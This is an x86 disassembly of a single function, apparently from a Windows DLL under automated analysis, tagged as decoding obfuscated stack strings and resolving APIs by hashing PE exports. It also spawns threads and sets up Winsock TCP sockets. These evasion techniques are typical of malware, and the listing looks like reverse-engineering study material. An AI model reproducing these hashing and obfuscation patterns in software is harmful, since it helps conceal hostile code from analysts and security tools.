Function at 0x10003080
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x204
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x34], ebx
call fcn.100055f0
test al, al
je 0x100036de
call fcn.10005c30
mov esi, dword [0x10012018]
mov edx, 0x34
push 0x23be
push 0x1a765743
mov dword [esp + 0x40], 0
lea ecx, [edx - 0x2d]
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x38]
push ecx
push esi
call eax
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x14], eax
cmp ecx, 3
jl 0x1000321f
xor edi, edi
test ecx, ecx
jle 0x1000321f
nop dword [eax]
nop word [eax + eax]
mov byte [esp + 0x1a], 3
mov byte [esp + 0x1b], 0x5f
mov byte [esp + 0x1c], 0x29
mov byte [esp + 0x1d], 0x5f
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], 0x5f
mov byte [esp + 0x20], 0x1e
mov byte [esp + 0x21], 0x5f
mov byte [esp + 0x22], 0x3f
mov byte [esp + 0x23], 0x5f
mov byte [esp + 0x24], 0x5f
mov byte [esp + 0x25], 0x5f
mov al, byte [esp + 0x1a]
mov byte [esp + 0x26], 0
cmp byte [esp + 0x26], 0
jne 0x10003179
xor esi, esi
lea ebx, [esi + 0x7f]
mov al, byte [esp + esi + 0x1a]
mov ecx, 0x5f
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x23
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [esp + esi + 0x1a], dl
inc esi
cmp esi, 0xc
jb 0x10003151
mov ebx, dword [esp + 0x34]
mov eax, dword [esp + 0x14]
mov edx, 0x77
mov esi, dword [eax + edi*4]
lea eax, [eax + edi*4]
push 0xa304
push 0x12fc576c
lea ecx, [edx - 0x76]
mov dword [esp + 0x44], eax
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x1a]
push ecx
push esi
call eax
test eax, eax
je 0x100031ba
inc edi
cmp edi, dword [esp + 0x38]
jl 0x10003100
jmp 0x1000321f
mov esi, dword [esp + 0x3c]
mov byte [ebx + 0x30], 1
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
mov edx, 2
lea edi, [eax + 5]
mov eax, edi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1000b130
add esp, 4
mov dword [ebx + 0x2c], eax
test eax, eax
je 0x1000321f
lea ecx, [edi + edi]
mov edx, 0x83
mov edi, eax
xor al, al
rep stosb byte es:[edi], al
mov esi, dword [esi + 4]
mov ecx, 1
mov edi, dword [ebx + 0x2c]
push 0x5741
push 0x4c9b576c
call fcn.100027f0
add esp, 8
push esi
push edi
call eax
call fcn.10005930
mov esi, dword [0x10012018]
mov edx, 0x34
push 0x23be
push 0x1a765743
mov dword [esp + 0x1c], 0
lea ecx, [edx - 0x2d]
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x14]
push ecx
push esi
call eax
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x3c], eax
cmp ecx, 3
jl 0x10003364
xor edi, edi
test ecx, ecx
jle 0x10003364
nop
mov byte [esp + 0x27], 0x42
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x43
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x43
mov byte [esp + 0x2d], 0x76
mov byte [esp + 0x2e], 0x43
mov byte [esp + 0x2f], 0x2a
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x43
mov byte [esp + 0x32], 0x43
mov al, byte [esp + 0x27]
mov byte [esp + 0x33], 0
cmp byte [esp + 0x33], 0
jne 0x100032e9
xor esi, esi
lea ebx, [esi + 0x7f]
mov al, byte [esp + esi + 0x27]
mov ecx, 0x43
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2d
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [esp + esi + 0x27], dl
inc esi
cmp esi, 0xc
jb 0x100032c1
mov ebx, dword [esp + 0x34]
mov eax, dword [esp + 0x3c]
mov edx, 0x77
push 0xa304
push 0x12fc576c
mov esi, dword [eax + edi*4]
lea ecx, [edx - 0x76]
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x27]
push ecx
push esi
call eax
test eax, eax
je 0x10003323
inc edi
cmp edi, dword [esp + 0x14]
jl 0x10003270
jmp 0x10003364
mov eax, dword [0x10055ee4]
test eax, eax
jne 0x10003360
push 0xc8
call fcn.1000b130
add esp, 4
test eax, eax
je 0x10003359
mov word [eax], 0x101
mov dword [eax + 4], 0x1e
mov dword [eax + 8], 5
mov dword [eax + 0x10], 3
jmp 0x1000335b
xor eax, eax
mov dword [0x10055ee4], eax
mov byte [eax + 0x78], 1
mov edi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov esi, 0x10012038
nop
lea eax, [esi - 0x18]
push eax
call edi
mov dword [esi], 0
add esi, 0x1c
cmp esi, 0x10013618
jl 0x10003370
call fcn.10001250
push section..data
call edi
mov edx, 0x61
push 0x6b7
push 0xa2977443
lea ecx, [edx - 0x60]
call fcn.100027f0
add esp, 8
push 0
push 0
push 0
push 0xffffffffffffffff
call eax
mov dword [ebx + 0x1c], eax
test eax, eax
je 0x100036de
mov eax, dword [0x10055ee8]
test eax, eax
jne 0x100033da
push 4
call fcn.1000b130
add esp, 4
mov dword [0x10055ee8], eax
mov ecx, dword [ebx + 0x1c]
xor edx, edx
mov dword [eax], ecx
xorps xmm0, xmm0
push 0xfb25
push 0x22336f47
lea ecx, [edx + 1]
movaps xmmword [esp + 0x58], xmm0
movaps xmmword [esp + 0x68], xmm0
mov dword [esp + 0x78], 0
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x50]
push ecx
call eax
mov eax, dword [esp + 0x64]
xor esi, esi
mov dword [ebx + 0x18], eax
test eax, eax
je 0x1000348b
nop
mov edx, 0x35
push 0xd807
push 0x910e6443
lea ecx, [edx - 0x34]
call fcn.100027f0
add esp, 8
push 0
push 0
push ebx
push 0x10003060
push 0
push 0
call eax
mov ecx, dword [0x10055c84]
mov edi, eax
mov edx, dword [0x10055c88]
cmp ecx, edx
jne 0x10003470
lea ecx, [edx + 4]
push ecx
mov ecx, 0x10055c80
call fcn.10006150
mov ecx, dword [0x10055c84]
mov eax, dword [0x10055c80]
inc esi
mov dword [eax + ecx*4], edi
mov eax, dword [0x10055c84]
inc eax
mov dword [0x10055c84], eax
cmp esi, dword [ebx + 0x18]
jb 0x10003420
jmp 0x10003490
mov eax, dword [0x10055c84]
test eax, eax
je 0x100036de
mov eax, dword [0x10055ee4]
test eax, eax
jne 0x100034d5
push 0xc8
call fcn.1000b130
add esp, 4
test eax, eax
je 0x100034ce
mov word [eax], 0x101
mov dword [eax + 4], 0x1e
mov dword [eax + 8], 5
mov dword [eax + 0x10], 3
jmp 0x100034d0
xor eax, eax
mov dword [0x10055ee4], eax
test byte [eax + 0x10], 1
je 0x1000350d
mov edx, 0x35
push 0xd807
push 0x910e6443
lea ecx, [edx - 0x34]
call fcn.100027f0
add esp, 8
push 0
push 0
push ebx
push 0x10003040
push 0
push 0
call eax
mov dword [ebx + 0x20], eax
mov eax, dword [0x10055ee4]
test eax, eax
jne 0x10003545
push 0xc8
call fcn.1000b130
add esp, 4
test eax, eax
je 0x1000353e
mov word [eax], 0x101
mov dword [eax + 4], 0x1e
mov dword [eax + 8], 5
mov dword [eax + 0x10], 3
jmp 0x10003540
xor eax, eax
mov dword [0x10055ee4], eax
mov eax, dword [eax + 0x10]
shr eax, 1
test al, 1
je 0x100036bb
push 0x190
lea eax, [esp + 0x84]
push 0
push eax
call fcn.1000d390
add esp, 0xc
mov edx, 0x75
push 0xe224
push 0xab897057
lea ecx, [edx - 0x71]
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x80]
push ecx
push 0x202
call eax
cmp dword [0x1001201c], 0
jne 0x1000364e
mov edx, 6
mov dword [esp + 0x40], 0x25a207b9
push 0xc100
push 0xebf65757
mov dword [esp + 0x4c], 0x4660ddf3
lea ecx, [edx - 2]
mov dword [esp + 0x50], 0xe576e98e
mov dword [esp + 0x54], 0x3e06748c
call fcn.100027f0
add esp, 8
push 0
push 0
push 0
push 6
push 1
push 2
call eax
mov esi, eax
cmp esi, 0xffffffff
je 0x1000364e
mov edx, 0x70
mov dword [esp + 0x34], 0
push 0xe687
push 0xb8b6c57
lea ecx, [edx - 0x6c]
call fcn.100027f0
add esp, 8
lea ecx, [esp + 0x34]
push 0
push 0
push ecx
push 4
push 0x1001201c
push 0x10
lea ecx, [esp + 0x58]
push ecx
push 0xc8000006
push esi
call eax
test eax, eax
jne 0x1000364e
push 0x6ef2
push 0x38b7463
lea edx, [eax + 0x20]
lea ecx, [eax + 4]
call fcn.100027f0
add esp, 8
push esi
call eax
call fcn.10006720
test al, al
je 0x100036bb
call fcn.100069d0
call fcn.10006b40
mov edx, 0x35
push 0xd807
push 0x910e6443
lea ecx, [edx - 0x34]
call fcn.100027f0
add esp, 8
push 0
push 0
push ebx
push 0x10003050
push 0
push 0
call eax
mov edx, 0x35
mov dword [ebx + 0x24], eax
push 0xd807
push 0x910e6443
lea ecx, [edx - 0x34]
call fcn.100027f0
add esp, 8
push 0
push 0
push ebx
push 0x10003070
push 0
push 0
call eax
mov dword [ebx + 0x28], eax
cmp dword [ebx + 0x20], 0
jne 0x100036d5
cmp dword [ebx + 0x24], 0
jne 0x100036d5
cmp dword [ebx + 0x28], 0
setne al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret